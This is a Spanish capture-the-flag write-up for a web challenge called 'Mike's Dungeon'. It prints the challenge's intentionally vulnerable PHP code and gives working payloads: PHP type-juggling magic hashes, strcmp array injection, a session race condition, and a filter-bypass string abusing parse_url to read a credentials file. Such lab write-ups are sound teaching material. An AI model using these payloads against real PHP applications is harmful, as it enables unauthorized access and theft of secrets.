Mike’s Dungeon
Puntuación: 550
El enunciado de este reto indica lo siguiente:
A friend of mine called Mike has just learnt web development. It seems he has created a kind of dungeon, but he is too n00b for you not to steal his flag.
Mirrors:
- Challenge created by JorgeCTF
Al acceder al portal obtenemos la siguiente ventana:
Analizamos el código fuente de la aplicación y descubrimos el siguiente comentario:
1 |
<!-- Self-reminder: Dont forget to change your goals in your TXT file. --> |
Que nos da una pista para encontrar el fichero de texto mike.txt:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
My goals for 2020: Tidy my bedroom everyday. Finish homework everyday. Change administrator username from mike to hacker1337 to beat all those h4x0rs! Learn Javascript. Change password whose sha1 is 0e0776 and more random numbers to admin1337. Get into http cookie without httponly flag set bounty hunting. Done: Learn PHP. Add debug param to debug index. Learn Javascript. |
Observamos la parte final donde menciona el debug y lanzamos la petición con ?debug=1 para obtener el código fuente del fichero index.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 |
<html style="background-image: url('img.jpg');"> <?php require_once 'creds.php'; # Including user, pwd and flag variables if (isset($_POST[md5('login')]) && isset($_POST['username']) && isset($_POST['password'])) { if (strcmp($_POST['username'], sha1(sha1(sha1(sha1(sha1(sha1(sha1(sha1(sha1(sha1(sha1(sha1(sha1(md5(md5(md5($user))))))))))))))))) == 0) { # Are you a crypto nerd? if (md5($_POST['password']) == sha1($pwd)) { session_start(); if (isset($_SESSION['password'])) { header("Location: manager.php"); } else { $_SESSION['password'] = "oooooumama"; session_write_close(); sleep(2); # No bruteforce :) session_start(); unset($_SESSION['password']); } } else { die("Hey h4x0r!"); } } else { die("Bye h4x0r!"); } # Secret AUTH if (md5($_POST['s3cr3t']) === sha1($pwd)) { echo $flag; } } if (isset($_GET['debug'])) { echo highlight_file(__FILE__, true); } if(isset($_POST['debug'])) { # Just for debugging echo var_dump($_SESSION); die(); } ?> <title>Mike's Dungeon</title> <h1 style="color: white;"><center>Mike's Dungeon</center></h1> <hr><br> <center> <form method="post" action="<?php basename($_SERVER['PHP_SELF']); ?>" name="signin-form"> <div class="form-element"> <label style="color: white;">Username -> </label> <input type="password" name="username" required /> </div> <br> <div class="form-element"> <label style="color: white;">Password -> </label> <input type="password" name="password" required /> </div> <br> <button type="submit" name="login" value="login">Log In</button> </form> </center> <!-- Self-reminder: Dont forget to change your goals in your TXT file. --> </html> |
Viendo el código fuente anterior y los diferentes == de las condiciones vemos claramente que habrá que utilizar PHP Type Juggling para bypassear las comprobaciones.
Por lo que generamos nuestros datos con los datos obtenidos del anterior código:
1 |
username[]=123&password=240610708&d56b699830e77ba53855679cb1d252da=1&debug=1 |
En el anterior payload, damos a username el valor que sea, a password el valor sería 240610708 porque en md5 es 0e462097431906509019562988736854 y esto es igual en PHP == 0e0776 , en otras palabras necesitábamos un valor md5 que fuera 0e + números como se explica en el siguiente git o como podemos ver con el siguiente ejemplo:
1 2 |
php > var_dump(0e0776834163 == 0e723432523532423); # Lo mismo que 0 == 0 bool(true) |
Ahora que ya tenemos la primera de las solicitudes, si observamos el código:
1 2 3 4 5 6 7 |
if (isset($_SESSION['password'])) { header("Location: manager.php"); } else { $_SESSION['password'] = "oooooumama"; sleep(2); # No bruteforce :) unset($_SESSION['password']); } |
Necesitamos explotar una condición de carrera y enviar dos solicitudes, la segunda antes de terminar la primera para poder entrar en manager.php.
Así que envíamos una petición GET solicitando la página /manager.php seguido de la petición POST que vimos anteriormente.
Si entramos dentro de los dos segundos obtendremos el acceso a manager.php y con ello el código en base64 del mismo.
Y a continuación tenemos el código del fichero manager.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 |
<?php require_once 'creds.php'; # Including user, pwd and flag variables session_start(); if(!isset($_SESSION['password'])){ header("Location: index.php?n1c3trY!"); die(); } else { if(!isset($_GET[md5('letmein')])){ $content = base64_encode(base64_encode(file_get_contents(basename($_SERVER['PHP_SELF'])))); header("Location: index.php?Have_a_nice_day!$content"); die(); } } # Secret Method if (md5(sha1($_POST['s3cr3t'])) === sha1($pwd)) { echo $flag; } if(isset($_GET['debug'])) { # Just for debugging echo var_dump($_SESSION); die(); } if(isset($_POST['yourinput']) && isset($_POST[sha1($_POST['yourinput'])])) { if(strpos($_POST['yourinput'], "/") !== false){ die("What you trynna do¿?¿?"); } $_POST['yourinput'] = strtolower($_POST['yourinput']); for($i = 0; $i < 300; ++$i) { $_POST['yourinput'] = preg_replace('/ph/', '', preg_replace('/ed/', '', preg_replace('/cr/', '', $_POST['yourinput']))); } $url = 'http://' . $_POST['yourinput'] . '.txt'; $file = parse_url($url)[base64_decode("dXNlcg==")]; $check = parse_url($url)[base64_decode("cGFzcw==")]; if (empty($file)) { die("Get out of here!"); } else { if (empty($check)) { die("Come and have a seat."); } } $_SESSION['info'] = base64_encode(file_get_contents($file)); session_write_close(); sleep(2); # Bye bye bruteforce sleep(0.337); # l33t session_start(); unset($_SESSION['info']); } else { die("Beep Boop!"); } ?> <html style="background-image: url('img.jpg');"> <title>SuperSecureVault</title> <h1 style="color: white;"><center>Mike's Manager doing management stuff</center></h1> <p1 style="color: white;"><center>Hi h4x0r, you are almost there! (Well, this is a self message as nobody will get here :P)<center></p1> <br><hr><br> <form method="post" action="<?php basename($_SERVER['PHP_SELF']); ?>" name="give me flagg"> <div class="form-element"> <label style="color: white;">What you wanna do?</label> <br><br> <input type="password" name="yourinput" required /> <br><br> </div> <button type="submit" name="gooooooo" value="mikeisthebest">Log In</button> </form> </html> |
Ahora en esta segunda parte vamos a ver como podemos saltarnos el resto de comprobaciones. La primera de ellas:
1 |
if(!isset($_GET[md5('letmein')])) |
Podemos pasarla fácilmente obteniendo el md5 de letmein, con el siguiente payload:
1 |
/manager.php?0d107d09f5bbe40cade3de5c71e9e9b7=1 |
Continuamos y vemos un bloque interesante, el del campo “yourinput” donde la aplicación incluye en el campo info de la sesión el contenido de un fichero. Concretamente el fichero que se pasa como “user”:
1 |
$file = parse_url($url)[base64_decode("dXNlcg==")]; |
Al utilizarse parse_url y una petición HTTP los campos serán user:pass@host:port, por lo que deberemos pasar el valor de creds.php en el campo user.
Como la aplicación busca y elimina las cadenas ph, ed y cr 300 veces:
1 2 3 |
for($i = 0; $i < 300; ++$i) { $_POST['yourinput'] = preg_replace('/ph/', '', preg_replace('/ed/', '', preg_replace('/cr/', '', $_POST['yourinput']))); } |
Nos creamos nuestro payload con una simple línea en python para que al limpiarlo la aplicación nos quede el fichero creds.php
1 |
$ python -c 'print("c"*301+"r"*301+"e"*301+"d"*301+"s."+"p"*301+"h"*301+"p")' |
Y nuestro payload quedaría de la siguiente forma:
1 |
beca5d8a6f62fd3ab0a8b38634793ee3b4f616fe=1&yourinput=cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrreeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddds.ppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppphhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhp:byte@byte |
Enviaremos entonces nuestro payload por POST a manager.php y obtendremos otro base64 en la respuesta de index.php que sería el contenido del fichero creds.php.
Y si decodificamos el base64 obtenido, tenemos el código del fichero creds.php
1 2 3 4 5 6 7 8 9 10 11 12 |
<?php if (basename($_SERVER['PHP_SELF']) === "creds.php") { echo '$flag = "flag{H4H4_K33P_Try1nG}"'; die(); } $user = "mike"; $pwd = 10932435112; $flag = "flag{phP_Hypert3xt_Pr3pr0c3ss0r_iS_s3cUr3}"; ?> |
Y con ello la flag
1 |
flag{phP_Hypert3xt_Pr3pr0c3ss0r_iS_s3cUr3} |
Puedes ver el resto de writeups en este enlace.